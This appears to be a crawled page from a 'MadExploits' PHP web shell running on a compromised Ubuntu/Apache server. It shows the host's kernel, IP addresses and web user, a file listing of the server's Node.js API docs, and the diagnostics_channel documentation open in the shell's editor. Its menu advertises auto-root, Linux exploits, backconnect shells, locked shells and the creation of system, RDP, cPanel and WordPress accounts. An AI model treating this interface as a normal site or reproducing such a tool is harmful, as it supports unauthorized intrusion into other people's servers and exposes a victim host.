Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 162.158.154.156
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
nodejs /
api /
[ HOME SHELL ]
Name
Size
Permission
Action
assets
[ DIR ]
drwxr-xr-x
addons.html
105.72
KB
-rw-r--r--
addons.json.gz
10.95
KB
-rw-r--r--
addons.md
39.76
KB
-rw-r--r--
all.html
7.2
MB
-rw-r--r--
all.json.gz
881.44
KB
-rw-r--r--
assert.html
191.3
KB
-rw-r--r--
assert.json.gz
13
KB
-rw-r--r--
assert.md
66.51
KB
-rw-r--r--
async_context.html
84.04
KB
-rw-r--r--
async_context.json.gz
7.09
KB
-rw-r--r--
async_context.md
24.68
KB
-rw-r--r--
async_hooks.html
87.13
KB
-rw-r--r--
async_hooks.json.gz
9.82
KB
-rw-r--r--
async_hooks.md
30.48
KB
-rw-r--r--
buffer.html
479.09
KB
-rw-r--r--
buffer.json.gz
28.89
KB
-rw-r--r--
buffer.md
148.96
KB
-rw-r--r--
child_process.html
168.62
KB
-rw-r--r--
child_process.json.gz
20.9
KB
-rw-r--r--
child_process.md
70.54
KB
-rw-r--r--
cli.html
154.13
KB
-rw-r--r--
cli.json.gz
23.79
KB
-rw-r--r--
cli.md
63.8
KB
-rw-r--r--
cluster.html
90.59
KB
-rw-r--r--
cluster.json.gz
9.48
KB
-rw-r--r--
cluster.md
28.84
KB
-rw-r--r--
console.html
59.43
KB
-rw-r--r--
console.json.gz
6.07
KB
-rw-r--r--
console.md
16.5
KB
-rw-r--r--
corepack.html
22.56
KB
-rw-r--r--
corepack.json.gz
2.55
KB
-rw-r--r--
corepack.md
5.08
KB
-rw-r--r--
crypto.html
521.88
KB
-rw-r--r--
crypto.json.gz
45.72
KB
-rw-r--r--
crypto.md
193.91
KB
-rw-r--r--
debugger.html
28.15
KB
-rw-r--r--
debugger.json.gz
3.12
KB
-rw-r--r--
debugger.md
7.02
KB
-rw-r--r--
deprecations.html
197.6
KB
-rw-r--r--
deprecations.json.gz
23.7
KB
-rw-r--r--
deprecations.md
97.51
KB
-rw-r--r--
dgram.html
89.39
KB
-rw-r--r--
dgram.json.gz
10.07
KB
-rw-r--r--
dgram.md
30.76
KB
-rw-r--r--
diagnostics_channel.html
44.76
KB
-rw-r--r--
diagnostics_channel.json.gz
3.2
KB
-rw-r--r--
diagnostics_channel.md
11.09
KB
-rw-r--r--
dns.html
130.7
KB
-rw-r--r--
dns.json.gz
15.74
KB
-rw-r--r--
dns.md
52.17
KB
-rw-r--r--
documentation.html
25.04
KB
-rw-r--r--
documentation.json.gz
2.22
KB
-rw-r--r--
documentation.md
4.67
KB
-rw-r--r--
domain.html
48.47
KB
-rw-r--r--
domain.json.gz
6.2
KB
-rw-r--r--
domain.md
15.21
KB
-rw-r--r--
embedding.html
25.79
KB
-rw-r--r--
embedding.json.gz
3.01
KB
-rw-r--r--
embedding.md
6.65
KB
-rw-r--r--
errors.html
282.1
KB
-rw-r--r--
errors.json.gz
42.26
KB
-rw-r--r--
errors.md
96.75
KB
-rw-r--r--
esm.html
126.92
KB
-rw-r--r--
esm.json.gz
20.56
KB
-rw-r--r--
esm.md
58.28
KB
-rw-r--r--
events.html
225.71
KB
-rw-r--r--
events.json.gz
16.69
KB
-rw-r--r--
events.md
64.93
KB
-rw-r--r--
fs.html
628.53
KB
-rw-r--r--
fs.json.gz
66.73
KB
-rw-r--r--
fs.md
247.34
KB
-rw-r--r--
globals.html
74.86
KB
-rw-r--r--
globals.json.gz
9
KB
-rw-r--r--
globals.md
20.04
KB
-rw-r--r--
http.html
275.03
KB
-rw-r--r--
http.json.gz
35.28
KB
-rw-r--r--
http.md
106.51
KB
-rw-r--r--
http2.html
318.05
KB
-rw-r--r--
http2.json.gz
39.24
KB
-rw-r--r--
http2.md
129.92
KB
-rw-r--r--
https.html
56.48
KB
-rw-r--r--
https.json.gz
5.69
KB
-rw-r--r--
https.md
16.33
KB
-rw-r--r--
index.html
12.63
KB
-rw-r--r--
index.json
54
B
-rw-r--r--
index.md
1.97
KB
-rw-r--r--
inspector.html
34.25
KB
-rw-r--r--
inspector.json.gz
3.62
KB
-rw-r--r--
inspector.md
7.63
KB
-rw-r--r--
intl.html
31.9
KB
-rw-r--r--
intl.json.gz
3.87
KB
-rw-r--r--
intl.md
10.71
KB
-rw-r--r--
module.html
30.94
KB
-rw-r--r--
module.json.gz
2.7
KB
-rw-r--r--
module.md
5.12
KB
-rw-r--r--
modules.html
80.58
KB
-rw-r--r--
modules.json.gz
12.65
KB
-rw-r--r--
modules.md
32.97
KB
-rw-r--r--
n-api.html
395.21
KB
-rw-r--r--
n-api.json.gz
50.69
KB
-rw-r--r--
n-api.md
214.45
KB
-rw-r--r--
net.html
140.93
KB
-rw-r--r--
net.json.gz
17.64
KB
-rw-r--r--
net.md
50.96
KB
-rw-r--r--
os.html
71.85
KB
-rw-r--r--
os.json.gz
8.88
KB
-rw-r--r--
os.md
35.5
KB
-rw-r--r--
packages.html
99.12
KB
-rw-r--r--
packages.json.gz
15.18
KB
-rw-r--r--
packages.md
45.48
KB
-rw-r--r--
path.html
52.44
KB
-rw-r--r--
path.json.gz
4.9
KB
-rw-r--r--
path.md
14.91
KB
-rw-r--r--
perf_hooks.html
139.88
KB
-rw-r--r--
perf_hooks.json.gz
12.51
KB
-rw-r--r--
perf_hooks.md
42.15
KB
-rw-r--r--
permissions.html
44.6
KB
-rw-r--r--
permissions.json.gz
5.44
KB
-rw-r--r--
permissions.md
14.59
KB
-rw-r--r--
policy.html
14.21
KB
-rw-r--r--
policy.json
475
B
-rw-r--r--
policy.md
221
B
-rw-r--r--
process.html
290.1
KB
-rw-r--r--
process.json.gz
31.21
KB
-rw-r--r--
process.md
106.75
KB
-rw-r--r--
punycode.html
26.24
KB
-rw-r--r--
punycode.json.gz
2
KB
-rw-r--r--
punycode.md
4.17
KB
-rw-r--r--
querystring.html
28.24
KB
-rw-r--r--
querystring.json.gz
2.65
KB
-rw-r--r--
querystring.md
5.57
KB
-rw-r--r--
readline.html
109.24
KB
-rw-r--r--
readline.json.gz
11.9
KB
-rw-r--r--
readline.md
40.45
KB
-rw-r--r--
repl.html
68.72
KB
-rw-r--r--
repl.json.gz
10
KB
-rw-r--r--
repl.md
23.69
KB
-rw-r--r--
report.html
81.54
KB
-rw-r--r--
report.json.gz
6.39
KB
-rw-r--r--
report.md
18.83
KB
-rw-r--r--
single-executable-applications...
23.53
KB
-rw-r--r--
single-executable-applications...
2.36
KB
-rw-r--r--
single-executable-applications...
5.12
KB
-rw-r--r--
stream.html
397.04
KB
-rw-r--r--
stream.json.gz
51.16
KB
-rw-r--r--
stream.md
145.8
KB
-rw-r--r--
string_decoder.html
23.21
KB
-rw-r--r--
string_decoder.json.gz
1.54
KB
-rw-r--r--
string_decoder.md
2.96
KB
-rw-r--r--
synopsis.html
19.54
KB
-rw-r--r--
synopsis.json
2.96
KB
-rw-r--r--
synopsis.md
2.12
KB
-rw-r--r--
test.html
168.11
KB
-rw-r--r--
test.json.gz
16.62
KB
-rw-r--r--
test.md
57.47
KB
-rw-r--r--
timers.html
55.89
KB
-rw-r--r--
timers.json.gz
5.21
KB
-rw-r--r--
timers.md
15.53
KB
-rw-r--r--
tls.html
179.78
KB
-rw-r--r--
tls.json.gz
32.31
KB
-rw-r--r--
tls.md
87.96
KB
-rw-r--r--
tracing.html
34.37
KB
-rw-r--r--
tracing.json.gz
3.47
KB
-rw-r--r--
tracing.md
8.52
KB
-rw-r--r--
tty.html
36.94
KB
-rw-r--r--
tty.json.gz
3.72
KB
-rw-r--r--
tty.md
8.91
KB
-rw-r--r--
url.html
150.42
KB
-rw-r--r--
url.json.gz
15.7
KB
-rw-r--r--
url.md
53.65
KB
-rw-r--r--
util.html
285.68
KB
-rw-r--r--
util.json.gz
25.73
KB
-rw-r--r--
util.md
96.25
KB
-rw-r--r--
v8.html
111.35
KB
-rw-r--r--
v8.json.gz
11.86
KB
-rw-r--r--
v8.md
34.31
KB
-rw-r--r--
vm.html
142.53
KB
-rw-r--r--
vm.json.gz
16.81
KB
-rw-r--r--
vm.md
59.81
KB
-rw-r--r--
wasi.html
27.91
KB
-rw-r--r--
wasi.json.gz
2.86
KB
-rw-r--r--
wasi.md
6.54
KB
-rw-r--r--
webcrypto.html
152.21
KB
-rw-r--r--
webcrypto.json.gz
9.76
KB
-rw-r--r--
webcrypto.md
45.48
KB
-rw-r--r--
webstreams.html
150.7
KB
-rw-r--r--
webstreams.json.gz
9.88
KB
-rw-r--r--
webstreams.md
36.82
KB
-rw-r--r--
worker_threads.html
113.35
KB
-rw-r--r--
worker_threads.json.gz
14.43
KB
-rw-r--r--
worker_threads.md
43.13
KB
-rw-r--r--
zlib.html
108.85
KB
-rw-r--r--
zlib.json.gz
10.34
KB
-rw-r--r--
zlib.md
35.1
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : diagnostics_channel.md
# Diagnostics Channel <!-- YAML added: - v15.1.0 - v14.17.0 changes: - version: v18.13.0 pr-url: https://github.com/nodejs/node/pull/45290 description: diagnostics_channel is now Stable. --> <!--introduced_in=v15.1.0--> > Stability: 2 - Stable <!-- source_link=lib/diagnostics_channel.js --> The `node:diagnostics_channel` module provides an API to create named channels to report arbitrary message data for diagnostics purposes. It can be accessed using: ```mjs import diagnostics_channel from 'node:diagnostics_channel'; ``` ```cjs const diagnostics_channel = require('node:diagnostics_channel'); ``` It is intended that a module writer wanting to report diagnostics messages will create one or many top-level channels to report messages through. Channels may also be acquired at runtime but it is not encouraged due to the additional overhead of doing so. Channels may be exported for convenience, but as long as the name is known it can be acquired anywhere. If you intend for your module to produce diagnostics data for others to consume it is recommended that you include documentation of what named channels are used along with the shape of the message data. Channel names should generally include the module name to avoid collisions with data from other modules. ## Public API ### Overview Following is a simple overview of the public API. ```mjs import diagnostics_channel from 'node:diagnostics_channel'; // Get a reusable channel object const channel = diagnostics_channel.channel('my-channel'); function onMessage(message, name) { // Received data } // Subscribe to the channel diagnostics_channel.subscribe('my-channel', onMessage); // Check if the channel has an active subscriber if (channel.hasSubscribers) { // Publish data to the channel channel.publish({ some: 'data', }); } // Unsubscribe from the channel diagnostics_channel.unsubscribe('my-channel', onMessage); ``` ```cjs const diagnostics_channel = require('node:diagnostics_channel'); // Get a reusable channel object const channel = diagnostics_channel.channel('my-channel'); function onMessage(message, name) { // Received data } // Subscribe to the channel diagnostics_channel.subscribe('my-channel', onMessage); // Check if the channel has an active subscriber if (channel.hasSubscribers) { // Publish data to the channel channel.publish({ some: 'data', }); } // Unsubscribe from the channel diagnostics_channel.unsubscribe('my-channel', onMessage); ``` #### `diagnostics_channel.hasSubscribers(name)` <!-- YAML added: - v15.1.0 - v14.17.0 --> * `name` {string|symbol} The channel name * Returns: {boolean} If there are active subscribers Check if there are active subscribers to the named channel. This is helpful if the message you want to send might be expensive to prepare. This API is optional but helpful when trying to publish messages from very performance-sensitive code. ```mjs import diagnostics_channel from 'node:diagnostics_channel'; if (diagnostics_channel.hasSubscribers('my-channel')) { // There are subscribers, prepare and publish message } ``` ```cjs const diagnostics_channel = require('node:diagnostics_channel'); if (diagnostics_channel.hasSubscribers('my-channel')) { // There are subscribers, prepare and publish message } ``` #### `diagnostics_channel.channel(name)` <!-- YAML added: - v15.1.0 - v14.17.0 --> * `name` {string|symbol} The channel name * Returns: {Channel} The named channel object This is the primary entry-point for anyone wanting to publish to a named channel. It produces a channel object which is optimized to reduce overhead at publish time as much as possible. ```mjs import diagnostics_channel from 'node:diagnostics_channel'; const channel = diagnostics_channel.channel('my-channel'); ``` ```cjs const diagnostics_channel = require('node:diagnostics_channel'); const channel = diagnostics_channel.channel('my-channel'); ``` #### `diagnostics_channel.subscribe(name, onMessage)` <!-- YAML added: - v18.7.0 --> * `name` {string|symbol} The channel name * `onMessage` {Function} The handler to receive channel messages * `message` {any} The message data * `name` {string|symbol} The name of the channel Register a message handler to subscribe to this channel. This message handler will be run synchronously whenever a message is published to the channel. Any errors thrown in the message handler will trigger an [`'uncaughtException'`][]. ```mjs import diagnostics_channel from 'node:diagnostics_channel'; diagnostics_channel.subscribe('my-channel', (message, name) => { // Received data }); ``` ```cjs const diagnostics_channel = require('node:diagnostics_channel'); diagnostics_channel.subscribe('my-channel', (message, name) => { // Received data }); ``` #### `diagnostics_channel.unsubscribe(name, onMessage)` <!-- YAML added: - v18.7.0 --> * `name` {string|symbol} The channel name * `onMessage` {Function} The previous subscribed handler to remove * Returns: {boolean} `true` if the handler was found, `false` otherwise. Remove a message handler previously registered to this channel with [`diagnostics_channel.subscribe(name, onMessage)`][]. ```mjs import diagnostics_channel from 'node:diagnostics_channel'; function onMessage(message, name) { // Received data } diagnostics_channel.subscribe('my-channel', onMessage); diagnostics_channel.unsubscribe('my-channel', onMessage); ``` ```cjs const diagnostics_channel = require('node:diagnostics_channel'); function onMessage(message, name) { // Received data } diagnostics_channel.subscribe('my-channel', onMessage); diagnostics_channel.unsubscribe('my-channel', onMessage); ``` ### Class: `Channel` <!-- YAML added: - v15.1.0 - v14.17.0 --> The class `Channel` represents an individual named channel within the data pipeline. It is used to track subscribers and to publish messages when there are subscribers present. It exists as a separate object to avoid channel lookups at publish time, enabling very fast publish speeds and allowing for heavy use while incurring very minimal cost. Channels are created with [`diagnostics_channel.channel(name)`][], constructing a channel directly with `new Channel(name)` is not supported. #### `channel.hasSubscribers` <!-- YAML added: - v15.1.0 - v14.17.0 --> * Returns: {boolean} If there are active subscribers Check if there are active subscribers to this channel. This is helpful if the message you want to send might be expensive to prepare. This API is optional but helpful when trying to publish messages from very performance-sensitive code. ```mjs import diagnostics_channel from 'node:diagnostics_channel'; const channel = diagnostics_channel.channel('my-channel'); if (channel.hasSubscribers) { // There are subscribers, prepare and publish message } ``` ```cjs const diagnostics_channel = require('node:diagnostics_channel'); const channel = diagnostics_channel.channel('my-channel'); if (channel.hasSubscribers) { // There are subscribers, prepare and publish message } ``` #### `channel.publish(message)` <!-- YAML added: - v15.1.0 - v14.17.0 --> * `message` {any} The message to send to the channel subscribers Publish a message to any subscribers to the channel. This will trigger message handlers synchronously so they will execute within the same context. ```mjs import diagnostics_channel from 'node:diagnostics_channel'; const channel = diagnostics_channel.channel('my-channel'); channel.publish({ some: 'message', }); ``` ```cjs const diagnostics_channel = require('node:diagnostics_channel'); const channel = diagnostics_channel.channel('my-channel'); channel.publish({ some: 'message', }); ``` #### `channel.subscribe(onMessage)` <!-- YAML added: - v15.1.0 - v14.17.0 deprecated: v18.7.0 --> > Stability: 0 - Deprecated: Use [`diagnostics_channel.subscribe(name, onMessage)`][] * `onMessage` {Function} The handler to receive channel messages * `message` {any} The message data * `name` {string|symbol} The name of the channel Register a message handler to subscribe to this channel. This message handler will be run synchronously whenever a message is published to the channel. Any errors thrown in the message handler will trigger an [`'uncaughtException'`][]. ```mjs import diagnostics_channel from 'node:diagnostics_channel'; const channel = diagnostics_channel.channel('my-channel'); channel.subscribe((message, name) => { // Received data }); ``` ```cjs const diagnostics_channel = require('node:diagnostics_channel'); const channel = diagnostics_channel.channel('my-channel'); channel.subscribe((message, name) => { // Received data }); ``` #### `channel.unsubscribe(onMessage)` <!-- YAML added: - v15.1.0 - v14.17.0 deprecated: v18.7.0 changes: - version: - v17.1.0 - v16.14.0 - v14.19.0 pr-url: https://github.com/nodejs/node/pull/40433 description: Added return value. Added to channels without subscribers. --> > Stability: 0 - Deprecated: Use [`diagnostics_channel.unsubscribe(name, onMessage)`][] * `onMessage` {Function} The previous subscribed handler to remove * Returns: {boolean} `true` if the handler was found, `false` otherwise. Remove a message handler previously registered to this channel with [`channel.subscribe(onMessage)`][]. ```mjs import diagnostics_channel from 'node:diagnostics_channel'; const channel = diagnostics_channel.channel('my-channel'); function onMessage(message, name) { // Received data } channel.subscribe(onMessage); channel.unsubscribe(onMessage); ``` ```cjs const diagnostics_channel = require('node:diagnostics_channel'); const channel = diagnostics_channel.channel('my-channel'); function onMessage(message, name) { // Received data } channel.subscribe(onMessage); channel.unsubscribe(onMessage); ``` ### Built-in Channels > Stability: 1 - Experimental While the diagnostics\_channel API is now considered stable, the built-in channels currently available are not. Each channel must be declared stable independently. #### HTTP `http.client.request.start` * `request` {http.ClientRequest} Emitted when client starts a request. `http.client.response.finish` * `request` {http.ClientRequest} * `response` {http.IncomingMessage} Emitted when client receives a response. `http.server.request.start` * `request` {http.IncomingMessage} * `response` {http.ServerResponse} * `socket` {net.Socket} * `server` {http.Server} Emitted when server receives a request. `http.server.response.finish` * `request` {http.IncomingMessage} * `response` {http.ServerResponse} * `socket` {net.Socket} * `server` {http.Server} Emitted when server sends a response. `net.client.socket` * `socket` {net.Socket} Emitted when a new TCP or pipe client socket is created. `net.server.socket` * `socket` {net.Socket} Emitted when a new TCP or pipe connection is received. `udp.socket` * `socket` {dgram.Socket} Emitted when a new UDP socket is created. [`'uncaughtException'`]: process.md#event-uncaughtexception [`channel.subscribe(onMessage)`]: #channelsubscribeonmessage [`diagnostics_channel.channel(name)`]: #diagnostics_channelchannelname [`diagnostics_channel.subscribe(name, onMessage)`]: #diagnostics_channelsubscribename-onmessage [`diagnostics_channel.unsubscribe(name, onMessage)`]: #diagnostics_channelunsubscribename-onmessage
Close